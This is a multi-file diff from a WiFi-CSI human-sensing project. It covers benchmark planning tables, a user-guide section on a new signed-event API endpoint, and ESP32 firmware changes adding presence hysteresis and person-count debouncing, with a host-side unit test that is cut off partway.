+- **Metric module with one canonical PCK** (parameterized: `{torso, bbox, absolute}` normalization × threshold × keypoint-map), so a single function scores WiFlow-STD-repro, MM-Fi/AetherArena, and a GraphPose-Fi re-run identically. Lock the default to **torso-PCK@20 on 17-kp COCO** and *always* also print standard-PCK to expose the gap.
+- **Fixed datasets/splits:** (i) WiFlow-STD cleaned 360k (their split, for repro parity), (ii) MM-Fi P1 random + cross-subject + cross-environment (to line up against GraphPose-Fi 61.1/44.2/12.9 and the project's 81.63), (iii) ESP32 paired eval set when ≥2k multi-subject windows exist.
+- **Mandatory honesty baselines** emitted every run: mean-pose, constant-output, and (for cross-domain) source-only.
+- **Output:** raw JSON + a RESULTS.md table with MEASURED/CLAIMED grades, mirroring `benchmarks/wiflow-std/RESULTS.md`.
+
+### 3.2 Latency/size harness (`wifi-densepose-nn`)
+
+- **Matrix:** `{torch fp32 (ref), ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full 2.23M, half 843k, tiny 56k}` × `{batch 1, 64}`, criterion-timed, host declared.
+- **Report:** disk size, batch-1 + batch-64 ms/window (median + low/high), and PCK@20 on the locked 10k-window subset, so latency and accuracy never get cited apart.
+- **Caveat block up front:** host ≠ ESP32-S3/WASM3, host ≠ Hailo HEF. No host number is presented as the edge number.
+- **CI gate:** commit the current medians as regression baselines; fail PRs that regress latency >X% or accuracy >Y pt.
+
+### 3.3 What counts as a defensible "beyond-SOTA" result
+
+A claim is citable only if **all** hold: (1) scored under a pre-declared metric/split, (2) beats the relevant published frontier number *on the same metric definition* (e.g. >61.1% standard-PCK@20 on MM-Fi random, or >12.9% on cross-environment), (3) beats the mean-pose honesty baseline, (4) raw JSON + exact command committed, (5) graded MEASURED. The single most valuable "beyond-SOTA" target is **cross-environment MM-Fi**, where the published bar (12.9% PCK@20) is low enough that a real win is both achievable and unambiguous.
+
+---
+
+## 4. Gap table
+
+| Capability | Project current (graded) | Published SOTA (graded) | Proposed target | Data / hardware needed |
+|---|---|---|---|---|
+| In-domain 2D PCK@20 (self-collected) | 96.09–96.61% (MEASURED, RTX 5080, WiFlow-STD repro) | 97.25% claimed (WiFlow-STD, CLAIMED) | match within noise + own architecture | cleaned 360k dataset (have); already met |
+| In-domain MM-Fi PCK@20 (torso-norm) | 81.63% torso-PCK (MEASURED-internal) | GraphPose-Fi 61.1% *standard*-PCK (PREPRINT) — **not comparable** | re-score both under **one** PCK def | MM-Fi P1 (have); unified metric harness (gap) |
+| **Cross-subject MM-Fi PCK@20** | ~11.6% torso (MEASURED, the cliff) | GraphPose-Fi 44.2% standard (PREPRINT) | close gap via MAE pretrain + graph decoder | 1.3M heterogeneous CSI corpus (ADR-150/152 §2.3), ViT-Small encoder |
+| **Cross-environment MM-Fi PCK@20** | untested-internal | GraphPose-Fi 12.9% standard (PREPRINT) | **beat 12.9% → cleanest beyond-SOTA win** | MM-Fi cross-env split + geometry conditioning (ADR-152 §2.1) |
+| ESP32 CSI→pose (17-kp) | no run beats mean-pose baseline (MEASURED, measurement b) | n/a (no public ESP32 pose benchmark) | beat mean-pose on temporal split | ≥2k multi-subject/multi-position paired windows (gap) |
+| Edge int8 size/accuracy | static QDQ conv-only 96.61% @ 2.53 MB; tiny 94.1% @ 295 KB fp32 (MEASURED) | no model-matched public number | **QAT-int8 on half model** (untested lever) | PyTorch QAT + QDQ export; RTX 5080 (have) |
+| Edge CPU latency | ONNX fp32 3.2 ms/win b1 host (MEASURED) | n/a (model-specific) | committed criterion regression baseline | host bench (have); ESP32/Hailo on-hardware (gap) |
+| Hailo HEF edge inference | none in-tree (gap) | n/a | first MEASURED HEF latency | Hailo compile toolchain + Pi cluster (have hardware, CLAUDE.local.md) |
+| Foundation encoder (MAE) | recipe adopted, untrained (ADR-152 §2.3) | UNSW: log-linear cross-domain scaling on *classification* (PREPRINT) | pose-transfer validation (hypothesis today) | 1.3M-sample corpus aggregation (priority per F3) |
+
+---
+
+## 5. Sources (graded)
+
+| Source | Type | Grade | Used for |
+|---|---|---|---|
+| GraphPose-Fi, arXiv [2511.19105](https://arxiv.org/abs/2511.19105) | preprint | PREPRINT; table numbers MEASURED-in-study (fetched + quoted) | RQ1 MM-Fi frontier (61.1/44.2/12.9 PCK@20, 160.6/210.5/302.7 mm) |
+| WiFlow-STD, arXiv [2602.08661](https://arxiv.org/abs/2602.08661) + [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling) | preprint+code | numbers CLAIMED; artifacts MEASURED; **project repro 96% MEASURED** | RQ1/RQ2/RQ3 |
+| PerceptAlign, arXiv [2601.12252](https://arxiv.org/abs/2601.12252) | preprint + MobiCom'26 acceptance | CLAIMED numbers; failure mode corroborated | RQ1/RQ2 geometry conditioning |
+| UNSW MAE, arXiv [2511.18792](https://arxiv.org/abs/2511.18792) | preprint | ablations MEASURED-in-study; pose transfer = hypothesis | RQ2 MAE recipe |
+| DT-Pose, arXiv [2501.09411](https://arxiv.org/abs/2501.09411), OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ), [code](https://github.com/cseeyangchen/DT-Pose) | preprint+code (ICLR'25) | exact MPJPE table NOT verified here — flagged | RQ2 masked-pretrain + topology |
+| Person-in-WiFi-3D, [CVPR 2024](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html) | peer-reviewed | MEASURED (91.7/108.1/125.3 mm); own dataset | RQ1 3D multi-person frontier |
+| ONNX Runtime quantization [docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html) | vendor docs | VENDOR | RQ3 PTQ/QAT mechanics |
+| NVIDIA TensorRT QAT [blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics](https://www.ultralytics.com/glossary/quantization-aware-training-qat) | vendor/blog | BLOG/VENDOR; general, not CSI-specific | RQ3 QAT>PTQ context |
+| Onboard Optimization survey, arXiv [2505.08793](https://arxiv.org/pdf/2505.08793) | preprint | PREPRINT | RQ3 on-device optimization landscape |
+| In-tree `benchmarks/wiflow-std/RESULTS.md`, `benchmarks/edge-latency/RESULTS.md`, ADR-150, ADR-152, ADR-015 | internal MEASURED | MEASURED-internal | grounding, all RQs |
+
+**Unverified / flagged:** DT-Pose exact MM-Fi MPJPE table not extracted at primary-source precision (abstract-level only). GraphPose-Fi parameter count not reported in the paper. WiFlow-STD/PerceptAlign accuracy numbers are author-self-reported preprints. No CSI-pose-specific QAT benchmark exists in the public literature — the QAT recommendation rests on general (non-CSI) vendor/blog evidence.

docs/user-guide.md

@@ -522,6 +522,25 @@ Base URL: `http://localhost:3000` (Docker) or `http://localhost:8080` (binary de
 | `GET` | `/api/v1/mesh` | ADR-110 fleet-wide mesh sync map ([iter 29](adr/ADR-110-esp32-c6-firmware-extension.md)) | `{"nodes":{"9":{...},"12":{...}},"total":2}` |
 | `GET` | `/api/v1/nodes/:id/sync` | Single-node mesh sync snapshot (or 404) | `{"offset_us":1163565,"is_leader":false,...}` |
 | `GET` | `/api/v1/mesh/metrics` | ADR-110 mesh state in Prometheus exposition format ([iter 36](adr/ADR-110-esp32-c6-firmware-extension.md)) | `wifi_densepose_mesh_offset_us{node="9"} 1163565\n…` |
+| `GET` | `/api/field` | ADR-262 P3 — latest **signed RuField `FieldEvent`s** from the live sensing cycle, plus the signer pubkey + a `dev_signing_key` flag. Only egress-safe (P1/P2) events are surfaced; identity/biometric (P4/P5) and raw (P0) are held edge-local | `{"spec":"rufield","signer_pubkey_hex":"…","dev_signing_key":true,"events":[…]}` |
+
+### RuField surface (ADR-262 P3)
+
+RuView's live WiFi-CSI sensing now also speaks the standalone **RuField MFS** wire format. Each governed sensing cycle is converted (via the `wifi-densepose-rufield` anti-corruption bridge) into a **signed** `FieldEvent` (`Modality::WifiCsi`, ed25519 `ProvenanceRef`) and surfaced on two additive endpoints:
+
+- `GET /api/field` — the most recent signed events (JSON).
+- `GET /ws/field` — a WebSocket that streams each cycle's signed event (mirrors `/ws/sensing`).
+
+```bash
+curl -s http://localhost:3000/api/field | python -m json.tool          # latest signed FieldEvents
+python -c "import asyncio,websockets; asyncio.run((lambda: websockets.connect('ws://localhost:8765/ws/field'))())"  # stream
+```
+
+Privacy is fail-closed: only egress-safe **P1/P2** events leave the box — raw (P0) and identity/biometric/aggregate (P3–P5) cycles are held **edge-local** and never appear on these endpoints; a no-presence cycle emits **no event**.
+
+**Signing key:** the surface signs with a **dedicated dev/sensing key**, seeded from `WDP_RUFIELD_SIGNING_SEED` (a 64-char hex string or a ≥32-byte value); when unset it falls back to a deterministic dev default and logs a `WARN` (the `dev_signing_key` flag in `/api/field` reflects this). This is a standalone key pending the ADR-262 §8 Q1 key-ownership decision — set `WDP_RUFIELD_SIGNING_SEED` for any real deployment.
+
+> **Honesty (ADR-262 §0/§6):** this is real plumbing on a live endpoint, **not an accuracy claim.** It is the single-link CSI sensing with its existing caveats (no validated room-coordinate accuracy — positions are the "strongest field peak", not calibrated triangulation).
 
 ### Example: Get fleet mesh state (ADR-110)
 
@@ -1113,7 +1132,7 @@ The Observatory is an immersive Three.js visualization that renders WiFi sensing
 
 A pretrained CSI encoder + presence-detection head is published on Hugging Face at [`ruvnet/wifi-densepose-pretrained`](https://huggingface.co/ruvnet/wifi-densepose-pretrained). It was trained on 60,630 frames / 610,615 contrastive triplets (12.2M steps, final loss 0.065) and reports **82.3% held-out temporal-triplet accuracy** (the older "100% presence" figure was measured on a single-class recording and has been retracted) and ~164k embeddings/sec on an Apple M4 Pro.
 
-> **Results & proof.** The SOTA 17-keypoint pose model is published separately at [`ruvnet/wifi-densepose-mmfi-pose`](https://huggingface.co/ruvnet/wifi-densepose-mmfi-pose) — **82.69% torso-PCK@20** on MM-Fi (83.59% ensemble + TTA), beating MultiFormer (72.25%) and CSI2Pose (68.41%). Browse the auditable [AetherArena leaderboard Space](https://huggingface.co/spaces/ruvnet/aether-arena), the full [MM-Fi study](benchmarks/mmfi-wifi-sensing-study.md), and the [efficiency frontier](benchmarks/wifi-pose-efficiency-frontier.md). Reproduce the deterministic pipeline proof with `python archive/v1/data/proof/verify.py` (must print `VERDICT: PASS`; see [ADR-147 benchmark proof](adr/ADR-147-benchmark-proof.md) and [WITNESS-LOG-028](WITNESS-LOG-028.md)).
+> **Results & proof.** The SOTA 17-keypoint pose model is published separately at [`ruvnet/wifi-densepose-mmfi-pose`](https://huggingface.co/ruvnet/wifi-densepose-mmfi-pose) — **82.69% torso-PCK@20** on MM-Fi (83.59% ensemble + TTA), beating MultiFormer (72.25%) and CSI2Pose (68.41%). Browse the auditable [AetherArena leaderboard Space](https://huggingface.co/spaces/ruvnet/aether-arena), the full [MM-Fi study](benchmarks/mmfi-wifi-sensing-study.md), and the [efficiency frontier](benchmarks/wifi-pose-efficiency-frontier.md). Reproduce the deterministic pipeline proof with `python archive/v1/data/proof/verify.py` (must print `VERDICT: PASS`; see [ADR-168 benchmark proof](adr/ADR-168-benchmark-proof.md) and [WITNESS-LOG-028](WITNESS-LOG-028.md)).
 
 What it ships (and what it does not):
 
@@ -1289,7 +1308,7 @@ Once trained, the adaptive model runs automatically:
 RuView integrates [OccWorld](https://github.com/wzzheng/OccWorld) (ECCV 2024) to predict
 future 3D occupancy from WiFi CSI — extending the Kalman tracker's 5-frame horizon to
 15 predicted frames (~7 s). See [ADR-147](adr/ADR-147-nvidia-cosmos-world-foundation-model-integration.md)
-and the [benchmark proof](adr/ADR-147-benchmark-proof.md) for full details.
+and the [benchmark proof](adr/ADR-168-benchmark-proof.md) for full details.
 
 **Hardware requirement:** NVIDIA GPU with ≥4 GB VRAM (validated: RTX 5080 at 209 ms / 3.4 GB).
 
@@ -1869,7 +1888,7 @@ Pre-trained models are available on HuggingFace:
 - **SOTA MM-Fi pose model** (82.69% torso-PCK@20) — https://huggingface.co/ruvnet/wifi-densepose-mmfi-pose
 - **AetherArena leaderboard Space** — https://huggingface.co/spaces/ruvnet/aether-arena
 
-Download and start sensing immediately — no datasets, no GPU, no training needed. Results are reproducible via `python archive/v1/data/proof/verify.py` (deterministic SHA-256 proof) — see [ADR-147](adr/ADR-147-benchmark-proof.md).
+Download and start sensing immediately — no datasets, no GPU, no training needed. Results are reproducible via `python archive/v1/data/proof/verify.py` (deterministic SHA-256 proof) — see [ADR-168](adr/ADR-168-benchmark-proof.md).
 
 ### Quick Start with Pre-Trained Models
 

firmware/esp32-csi-node/main/edge_processing.c

@@ -367,6 +367,7 @@ static float    s_heartrate_bpm;
 static float    s_motion_energy;
 static float    s_presence_score;
 static bool     s_presence_detected;
+static uint8_t  s_presence_below_count;  /**< Consecutive frames below low thresh (issue #996). */
 static bool     s_fall_detected;
 static int8_t   s_latest_rssi;
 static uint32_t s_frame_count;
@@ -398,6 +399,11 @@ static uint16_t s_feature_seq;
 
 /** Multi-person vitals state. */
 static edge_person_vitals_t s_persons[EDGE_MAX_PERSONS];
+
+/** Person-count persistence debounce (issue #998). */
+static uint8_t s_person_count_candidate;  /**< Last raw (gated) candidate count. */
+static uint8_t s_person_count_streak;     /**< Consecutive frames at the candidate. */
+static uint8_t s_person_count_stable;     /**< Emitted (debounced) count. */
 static edge_biquad_t s_person_bq_br[EDGE_MAX_PERSONS];
 static edge_biquad_t s_person_bq_hr[EDGE_MAX_PERSONS];
 static float s_person_br_filt[EDGE_MAX_PERSONS][EDGE_PHASE_HISTORY_LEN];
@@ -446,6 +452,61 @@ static void update_top_k(uint16_t n_subcarriers)
     s_top_k_count = k;
 }
 
+/* ======================================================================
+ * Presence Flag Hysteresis + Debounce (issue #996)
+ * ====================================================================== */
+
+/**
+ * Schmitt-trigger presence decision with a clear-debounce.
+ *
+ * Pure function (no globals) so it is host-testable: feed a presence_score
+ * trace and assert the boolean flag is stable. Replaces the old single-
+ * threshold `score > threshold` compare that chattered when a noisy score
+ * dithered around the boundary (observed 2.6-26.7 for one stationary person).
+ *
+ *   - score  >  threshold              → assert presence (enter immediately)
+ *   - score  >= threshold * HYST_RATIO → hold current state (dead band)
+ *   - score  <  threshold * HYST_RATIO → count toward clearing; only clear
+ *                                        after CLEAR_FRAMES consecutive frames
+ *
+ * @param prev          Current presence flag (in/out via return + below_count).
+ * @param score         Latest presence score.
+ * @param threshold     High (enter) threshold.
+ * @param below_count   In/out: consecutive frames the score has been below the
+ *                      low threshold. Reset to 0 whenever the score recovers.
+ * @return New presence flag.
+ */
+static bool presence_flag_update(bool prev, float score, float threshold,
+                                 uint8_t *below_count)
+{
+    float low_thresh = threshold * EDGE_PRESENCE_HYST_RATIO;
+
+    if (score > threshold) {
+        /* Clearly present — assert and reset the clear debounce. */
+        *below_count = 0;
+        return true;
+    }
+
+    if (score >= low_thresh) {
+        /* Dead band: hold whatever we had, no flicker. Recovery above the low
+         * threshold also resets the clear debounce so a brief dip doesn't
+         * accumulate toward a false clear. */
+        *below_count = 0;
+        return prev;
+    }
+
+    /* Below the low threshold — candidate for clearing. */
+    if (*below_count < 0xFF) (*below_count)++;
+    if (!prev) {
+        return false;  /* Already cleared. */
+    }
+    if (*below_count >= EDGE_PRESENCE_CLEAR_FRAMES) {
+        *below_count = 0;
+        return false;  /* Sustained absence — clear. */
+    }
+    return true;  /* Still within the hold window — keep asserting. */
+}
+
 /* ======================================================================
  * Adaptive Presence Calibration
  * ====================================================================== */
@@ -581,6 +642,112 @@ store_prev:
  * Multi-Person Vitals
  * ====================================================================== */
 
+/**
+ * Count distinct persons from per-group energy + representative subcarrier (issue #998).
+ *
+ * Pure function (no globals) so it is host-testable. Each of the `n_groups`
+ * subcarrier groups is a *candidate* person. A candidate is counted only if:
+ *   1. Energy gate   — its energy >= EDGE_PERSON_MIN_ENERGY_RATIO * max energy.
+ *                      One body's multipath spreads energy unevenly across the
+ *                      groups; weak groups are reflections, not extra people.
+ *   2. Spatial dedup — its representative subcarrier is at least
+ *                      EDGE_PERSON_MIN_SC_SEP away from every already-counted
+ *                      person. Adjacent subcarriers see the same reflection, so
+ *                      a near-duplicate group is the same body.
+ *
+ * The strongest group is always counted (so a present body yields >= 1).
+ *
+ * @param energy   Per-group energy (e.g. phase variance), length n_groups.
+ * @param sc_idx   Per-group representative subcarrier index, length n_groups.
+ * @param n_groups Number of candidate groups (<= EDGE_MAX_PERSONS).
+ * @return Distinct person count in [0, n_groups].
+ */
+static uint8_t count_distinct_persons(const float *energy, const uint8_t *sc_idx,
+                                      uint8_t n_groups)
+{
+    if (n_groups == 0) return 0;
+
+    /* Strongest group sets the reference energy. */
+    float max_energy = 0.0f;
+    for (uint8_t g = 0; g < n_groups; g++) {
+        if (energy[g] > max_energy) max_energy = energy[g];
+    }
+    /* No real signal anywhere → no persons. */
+    if (max_energy <= 0.0f) return 0;
+
+    float min_energy = max_energy * EDGE_PERSON_MIN_ENERGY_RATIO;
+
+    uint8_t counted_sc[EDGE_MAX_PERSONS];
+    uint8_t count = 0;
+
+    /* Greedy by descending energy: take the strongest unclaimed group that is
+     * spatially separated from everything already counted. */
+    bool used[EDGE_MAX_PERSONS];
+    for (uint8_t g = 0; g < n_groups && g < EDGE_MAX_PERSONS; g++) used[g] = false;
+
+    for (uint8_t iter = 0; iter < n_groups && iter < EDGE_MAX_PERSONS; iter++) {
+        /* Find the strongest still-unused group above the energy gate. */
+        int best = -1;
+        float best_e = min_energy;  /* must beat the gate */
+        for (uint8_t g = 0; g < n_groups && g < EDGE_MAX_PERSONS; g++) {
+            if (used[g]) continue;
+            if (energy[g] >= best_e) { best_e = energy[g]; best = g; }
+        }
+        if (best < 0) break;  /* nothing left above the gate */
+        used[best] = true;
+
+        /* Spatial dedup against already-counted persons. */
+        bool duplicate = false;
+        for (uint8_t c = 0; c < count; c++) {
+            int sep = (int)sc_idx[best] - (int)counted_sc[c];
+            if (sep < 0) sep = -sep;
+            if (sep < EDGE_PERSON_MIN_SC_SEP) { duplicate = true; break; }
+        }
+        if (duplicate) continue;
+
+        counted_sc[count++] = sc_idx[best];
+    }
+
+    /* The strongest group always represents at least one body. */
+    if (count == 0) count = 1;
+    return count;
+}
+
+/**
+ * Debounce a raw person count so a single noisy frame can't change the emitted
+ * value (issue #998). A new candidate must hold for EDGE_PERSON_PERSIST_FRAMES
+ * consecutive frames before it replaces the stable count.
+ *
+ * Pure function (state passed by pointer) → host-testable.
+ *
+ * @param raw        Raw (gated) count this frame.
+ * @param candidate  In/out: the candidate being accumulated.
+ * @param streak     In/out: consecutive frames the candidate has held.
+ * @param stable     In/out: the currently emitted count.
+ * @return The (possibly updated) stable count.
+ */
+static uint8_t person_count_debounce(uint8_t raw, uint8_t *candidate,
+                                     uint8_t *streak, uint8_t *stable)
+{
+    if (raw == *stable) {
+        /* Agrees with what we emit — reset any pending change. */
+        *candidate = raw;
+        *streak = 0;
+        return *stable;
+    }
+    if (raw == *candidate) {
+        if (*streak < 0xFF) (*streak)++;
+    } else {
+        *candidate = raw;
+        *streak = 1;
+    }
+    if (*streak >= EDGE_PERSON_PERSIST_FRAMES) {
+        *stable = *candidate;
+        *streak = 0;
+    }
+    return *stable;
+}
+
 /**
  * Update multi-person vitals by assigning top-K subcarriers to person groups.
  *
@@ -600,10 +767,25 @@ static void update_multi_person_vitals(const uint8_t *iq_data, uint16_t n_sc,
 
     uint8_t subs_per_person = s_top_k_count / n_persons;
 
+    /* Per-group energy + representative subcarrier, for the #998 person gate. */
+    float   group_energy[EDGE_MAX_PERSONS] = {0};
+    uint8_t group_sc[EDGE_MAX_PERSONS]     = {0};
+
     for (uint8_t p = 0; p < n_persons; p++) {
         edge_person_vitals_t *pv = &s_persons[p];
-        pv->active = true;
         pv->subcarrier_idx = s_top_k[p * subs_per_person];
+        group_sc[p] = s_top_k[p * subs_per_person];
+
+        /* Group energy = max Welford variance over its subcarriers. This is the
+         * same variance used for top-K selection, so a multipath group (weak,
+         * adjacent to the strong one) registers low energy and gets gated out. */
+        float energy = 0.0f;
+        for (uint8_t s = 0; s < subs_per_person; s++) {
+            uint8_t sc = s_top_k[p * subs_per_person + s];
+            float v = (float)welford_variance(&s_subcarrier_var[sc]);
+            if (v > energy) energy = v;
+        }
+        group_energy[p] = energy;
 
         /* Average phase across this person's subcarrier group. */
         float avg_phase = 0.0f;
@@ -662,10 +844,32 @@ static void update_multi_person_vitals(const uint8_t *iq_data, uint16_t n_sc,
         }
     }
 
-    /* Mark remaining persons as inactive. */
-    for (uint8_t p = n_persons; p < EDGE_MAX_PERSONS; p++) {
+    /* --- Issue #998: gate phantom persons by energy + spatial dedup,
+     * then debounce so a single noisy frame can't change the count. --- */
+    uint8_t raw_count = count_distinct_persons(group_energy, group_sc, n_persons);
+    uint8_t stable_count = person_count_debounce(raw_count,
+                                                 &s_person_count_candidate,
+                                                 &s_person_count_streak,
+                                                 &s_person_count_stable);
+
+    /* Mark the strongest `stable_count` groups active (descending energy); the
+     * rest — including phantom multipath groups — are inactive. */
+    bool used[EDGE_MAX_PERSONS];
+    for (uint8_t p = 0; p < EDGE_MAX_PERSONS; p++) {
+        used[p] = false;
         s_persons[p].active = false;
     }
+    for (uint8_t n = 0; n < stable_count && n < n_persons; n++) {
+        int best = -1;
+        float best_e = -1.0f;
+        for (uint8_t p = 0; p < n_persons; p++) {
+            if (used[p]) continue;
+            if (group_energy[p] > best_e) { best_e = group_energy[p]; best = p; }
+        }
+        if (best < 0) break;
+        used[best] = true;
+        s_persons[best].active = true;
+    }
 }
 
 /* ======================================================================
@@ -960,7 +1164,12 @@ static void process_frame(const edge_ring_slot_t *slot)
     } else if (threshold == 0.0f) {
         threshold = 0.05f;  /* Default until calibrated. */
     }
-    s_presence_detected = (s_presence_score > threshold);
+    /* Issue #996: hysteresis + clear-debounce instead of a bare threshold
+     * compare, so a noisy score dithering around the boundary doesn't flicker
+     * the boolean flag. */
+    s_presence_detected = presence_flag_update(s_presence_detected,
+                                               s_presence_score, threshold,
+                                               &s_presence_below_count);
 
     /* --- Step 10: Fall detection (phase acceleration + debounce, issue #263) --- */
     if (s_history_len >= 3) {
@@ -1160,6 +1369,7 @@ esp_err_t edge_processing_init(const edge_config_t *cfg)
     s_motion_energy = 0.0f;
     s_presence_score = 0.0f;
     s_presence_detected = false;
+    s_presence_below_count = 0;
     s_fall_detected = false;
     s_latest_rssi = 0;
     s_frame_count = 0;
@@ -1183,6 +1393,9 @@ esp_err_t edge_processing_init(const edge_config_t *cfg)
     for (uint8_t p = 0; p < EDGE_MAX_PERSONS; p++) {
         s_persons[p].active = false;
     }
+    s_person_count_candidate = 0;
+    s_person_count_streak = 0;
+    s_person_count_stable = 0;
 
     /* Design biquad bandpass filters.
      * Sampling rate ~20 Hz (typical ESP32 CSI callback rate). */

firmware/esp32-csi-node/main/edge_processing.h

@@ -38,6 +38,30 @@
 /* ---- Multi-person ---- */
 #define EDGE_MAX_PERSONS      4     /**< Max simultaneous persons. */
 
+/* ---- Multi-person counting gates (issue #998) ----
+ *
+ * Over-counting root cause: the multi-person path used to split the top-K
+ * subcarriers into EDGE_MAX_PERSONS groups and mark EVERY group active,
+ * so one body's multipath always reported the full EDGE_MAX_PERSONS. These
+ * gates promote a subcarrier group to a real "person" only when it carries
+ * genuine, distinct, persistent energy:
+ *
+ *   1. Energy gate   — a group's phase variance must exceed a fraction of the
+ *                      strongest group's variance, else it is multipath/noise.
+ *   2. Spatial dedup — two groups whose representative subcarriers sit within
+ *                      EDGE_PERSON_MIN_SC_SEP of each other are the same body
+ *                      (adjacent subcarriers see correlated reflections), so
+ *                      the weaker one is merged away.
+ *   3. Persistence   — a candidate count must hold for EDGE_PERSON_PERSIST_FRAMES
+ *                      consecutive decisions before it is emitted, so a single
+ *                      noisy frame cannot promote a phantom person.
+ *
+ * These are robustness gates on the existing heuristic, not a calibrated
+ * occupancy model — true count accuracy vs ground truth remains data-gated. */
+#define EDGE_PERSON_MIN_ENERGY_RATIO 0.35f /**< Group var must be >= this * max group var to count. */
+#define EDGE_PERSON_MIN_SC_SEP       4     /**< Min subcarrier separation between distinct persons. */
+#define EDGE_PERSON_PERSIST_FRAMES   3     /**< Consecutive decisions a count must hold before emit. */
+
 /* ---- Calibration ---- */
 #define EDGE_CALIB_FRAMES     1200  /**< Frames for adaptive calibration (~60s at 20 Hz). */
 #define EDGE_CALIB_SIGMA_MULT 3.0f  /**< Threshold = mean + 3*sigma of ambient. */
@@ -46,6 +70,27 @@
 #define EDGE_FALL_COOLDOWN_MS 5000  /**< Minimum ms between fall alerts (debounce). */
 #define EDGE_FALL_CONSEC_MIN  3     /**< Consecutive frames above threshold to trigger. */
 
+/* ---- Presence flag hysteresis + debounce (issue #996) ----
+ *
+ * Flicker root cause: the presence flag was a single-threshold compare on a
+ * noisy presence_score (observed 2.6-26.7 frame-to-frame for one stationary
+ * person), so the boolean chattered at the boundary even while the score
+ * clearly indicated a person. Fix: Schmitt-trigger hysteresis plus a clear
+ * debounce.
+ *
+ *   - Assert  presence when score >  threshold              (enter immediately).
+ *   - Hold    presence while score >= threshold * HYST_RATIO (no flicker in the
+ *                                                            gap band).
+ *   - Clear   presence only after the score stays below the low threshold for
+ *             EDGE_PRESENCE_CLEAR_FRAMES consecutive frames (genuine departure).
+ *
+ * HYST_RATIO < 1.0 sets the low threshold below the high threshold; a wider gap
+ * (smaller ratio) is more flicker-immune but slower to clear on real exit. The
+ * exact ratio that best matches a given room's score scale remains an on-device
+ * tuning parameter — this removes the logic bug (no hysteresis at all). */
+#define EDGE_PRESENCE_HYST_RATIO  0.5f /**< Low thresh = HYST_RATIO * high thresh. */
+#define EDGE_PRESENCE_CLEAR_FRAMES 5   /**< Frames below low thresh before clearing. */
+
 /* ---- DSP task tuning ---- */
 #define EDGE_BATCH_LIMIT      4     /**< Max frames per batch before longer yield. */
 

firmware/esp32-csi-node/test/Makefile

@@ -43,9 +43,10 @@ MAIN_DIR  = ../main
 FUZZ_DURATION ?= 30
 FUZZ_JOBS     ?= 1
 
-.PHONY: all clean run_serialize run_edge run_nvs run_all test_adr110 run_adr110 host_tests
+.PHONY: all clean run_serialize run_edge run_nvs run_all test_adr110 run_adr110 \
+        test_vitals run_vitals host_tests
 
-all: fuzz_serialize fuzz_edge fuzz_nvs test_adr110
+all: fuzz_serialize fuzz_edge fuzz_nvs test_adr110 test_vitals
 
 # --- ADR-110 encoding unit tests ---
 # Host-side, no libFuzzer needed — plain C99 deterministic table tests
@@ -57,8 +58,19 @@ test_adr110: test_adr110_encoding.c
 run_adr110: test_adr110
 	./test_adr110
 
-host_tests: run_adr110
-	@echo "ADR-110 host tests passed"
+# --- Vitals count + presence logic unit tests (issue #998 / #996) ---
+# Host-side, no libFuzzer. Pins the person-count gate (no over-count for one
+# body) and the presence hysteresis (no flicker on a dithering score). Pulls
+# the named tuning constants from ../main/edge_processing.h so the test and the
+# firmware can never disagree on thresholds.
+test_vitals: test_vitals_count_presence.c $(MAIN_DIR)/edge_processing.h
+	cc -std=c99 -Wall -Wextra -Istubs -I$(MAIN_DIR) -o $@ $< -lm
+
+run_vitals: test_vitals
+	./test_vitals
+
+host_tests: run_adr110 run_vitals
+	@echo "Host tests passed (ADR-110 + vitals #998/#996)"
 
 # --- Serialize fuzzer ---
 # Tests csi_serialize_frame() with random wifi_csi_info_t inputs.
@@ -94,5 +106,5 @@ run_nvs: fuzz_nvs
 run_all: run_serialize run_edge run_nvs
 
 clean:
-	rm -f fuzz_serialize fuzz_edge fuzz_nvs test_adr110
+	rm -f fuzz_serialize fuzz_edge fuzz_nvs test_adr110 test_vitals
 	rm -rf corpus_serialize/ corpus_edge/ corpus_nvs/

firmware/esp32-csi-node/test/test_vitals_count_presence.c

@@ -0,0 +1,387 @@
+/**
+ * @file test_vitals_count_presence.c
+ * @brief Host-side unit tests for the issue #998 / #996 vitals logic fixes.
+ *
+ * Covers two pure decision functions extracted from edge_processing.c:
+ *   1. count_distinct_persons()  — issue #998 person over-count gate
+ *                                   (energy gate + spatial dedup).
+ *   2. person_count_debounce()   — issue #998 count persistence debounce.
+ *   3. presence_flag_update()    — issue #996 presence hysteresis + clear
+ *                                   debounce (Schmitt trigger).
+ *
+ * Build (Linux/macOS/Windows with any C99 compiler):
+ *   cc -std=c99 -Wall -I../main -o test_vitals \
+ *      test_vitals_count_presence.c && ./test_vitals
+ *
+ * Exits 0 on all-pass, prints which assertion failed otherwise.
+ *
+ * Why a separate host test file: these are deterministic logic checks for the
+ * exact boundary behaviour the issues describe; libFuzzer adds no signal here.
+ *
+ * IMPORTANT — these three functions are copied VERBATIM from
+ * firmware/esp32-csi-node/main/edge_processing.c. They are pure (no globals,
+ * no ESP-IDF). If the firmware copy changes, update the copy here and re-run
+ * this test before the firmware change merges. The named tuning constants are
+ * pulled from the real header so the test and firmware can never disagree on
+ * thresholds.
+ *
+ * HARDWARE-GATED CAVEAT: these tests pin the *logic* (no flicker / no
+ * over-count for the synthetic traces). True count accuracy and the exact
+ * energy/separation/hysteresis thresholds that best match a real room vs
+ * labelled ground truth remain hardware- and data-gated (COM9 ESP32-S3 +
+ * labelled occupancy). This is a robustness/logic fix, not a validated
+ * accuracy claim.
+ */
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <stdio.h>
+
+/* Named tuning constants come from the real firmware header so the test can
+ * never silently diverge from the constants the firmware compiles with. */
+#include "edge_processing.h"
+
+/* ──────────────────────────────────────────────────────────────────────
+ *  System under test — copied VERBATIM from edge_processing.c.
+ * ────────────────────────────────────────────────────────────────────── */
+
+/* count_distinct_persons() — issue #998 energy gate + spatial dedup. */
+static uint8_t count_distinct_persons(const float *energy, const uint8_t *sc_idx,
+                                      uint8_t n_groups)
+{
